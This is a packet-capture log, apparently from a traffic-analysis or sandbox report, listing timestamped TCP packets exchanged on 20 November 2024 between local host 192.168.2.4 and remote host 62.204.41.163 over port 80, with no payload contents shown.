Nov 20, 2024 07:48:08.251996040 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252036095 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252079010 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252118111 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252135992 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252150059 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252161026 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252194881 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252441883 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252495050 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252496958 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252531052 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252536058 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252564907 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252576113 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252604008 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252609968 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252633095 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.252645969 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.252675056 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253119946 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253170013 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253174067 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253204107 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253209114 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253237009 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253246069 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253271103 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253283024 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253309965 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253335953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253351927 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.253953934 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.253988028 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254012108 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254021883 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254054070 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254061937 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254089117 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254089117 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254110098 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254122972 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254141092 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254158974 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254163980 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254204988 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254857063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254890919 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254923105 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254923105 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254941940 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254956961 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.254966974 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.254991055 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255000114 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255024910 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255038023 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255060911 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255070925 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255105019 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255731106 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255764008 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255774021 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255798101 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255808115 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255831957 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255844116 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255867004 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255880117 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255899906 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255912066 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255935907 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.255944967 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.255980015 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256534100 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256588936 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256649017 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256681919 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256700039 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256716967 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256726980 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256752014 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256761074 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256786108 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256795883 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256822109 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.256834984 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.256865978 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.257430077 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.257483006 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379407883 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379463911 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379503965 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379517078 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379538059 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379553080 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379560947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379586935 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379597902 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379669905 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379681110 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379703999 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379719973 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379740000 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379746914 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379774094 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379784107 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379807949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379822969 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379843950 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379853010 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379878998 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379904032 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379935980 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379937887 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.379971027 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.379985094 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380006075 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380028963 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380059004 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380059958 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380093098 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380105972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380126953 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380139112 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380160093 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380182981 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380212069 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380230904 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380258083 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380388975 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380454063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380462885 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380502939 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380505085 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380538940 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380551100 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380573988 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380584955 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380608082 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380614996 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380640984 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380652905 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380675077 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380680084 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380723000 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.380934000 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380965948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.380984068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381001949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381011009 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381047010 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381094933 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381145954 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381146908 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381180048 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381207943 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381222010 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381233931 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381267071 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381279945 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381300926 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381315947 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381335974 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381342888 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381369114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381380081 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381402016 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381408930 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381436110 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381450891 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381469965 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381480932 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381506920 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.381514072 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.381557941 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382119894 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382170916 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382204056 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382237911 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382272005 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382303953 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382313967 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382339001 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382361889 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382375956 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382388115 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382410049 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382421017 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382442951 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382457972 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382477045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382488012 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382512093 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382527113 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382550001 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.382555962 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.382606030 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383094072 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383127928 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383150101 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383164883 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383177042 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383198023 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383219004 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383234978 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383249044 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383268118 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383286953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383302927 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383316994 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383353949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383356094 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383388042 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383404016 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383421898 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383430958 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383455038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383470058 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383491039 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383500099 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383526087 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383543015 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383569956 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.383923054 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383971930 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.383972883 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384006023 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384021997 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384038925 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384053946 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384074926 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384087086 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384108067 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384124994 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384143114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384164095 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384176970 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384190083 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384212017 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384231091 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384244919 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384268999 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384279966 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384306908 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384314060 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.384321928 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.384361029 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466778040 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466800928 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466865063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466872931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466872931 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466892004 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466901064 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466907978 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466922998 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466937065 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466949940 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466959953 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466976881 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.466989994 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.466990948 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467008114 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467009068 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467016935 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467016935 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467025995 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467053890 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467075109 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467199087 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467216015 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467231035 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467245102 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467256069 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467259884 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467264891 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467284918 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467288971 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467303038 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467310905 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467328072 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467330933 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.467374086 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.467374086 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.506728888 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.506799936 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.506823063 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.506859064 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.506877899 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.506910086 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.506916046 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.506962061 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.506962061 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507003069 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507021904 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507054090 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507055044 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507087946 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507106066 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507127047 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507163048 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507169008 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507199049 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507216930 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507234097 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507252932 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507262945 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507303953 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507303953 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507364035 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507370949 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507407904 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507421970 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507445097 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507477045 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507477045 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507510900 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507517099 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507517099 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507550001 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507581949 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507584095 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507596970 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507636070 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507644892 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507688046 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507705927 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507740021 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507739067 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507774115 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507786989 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507808924 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507819891 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507843018 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507853031 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507894039 CET	80	49730	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:08.507926941 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507944107 CET	49730	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:08.507945061 CET	80	49730	62.204.41.163	192.168.2.4
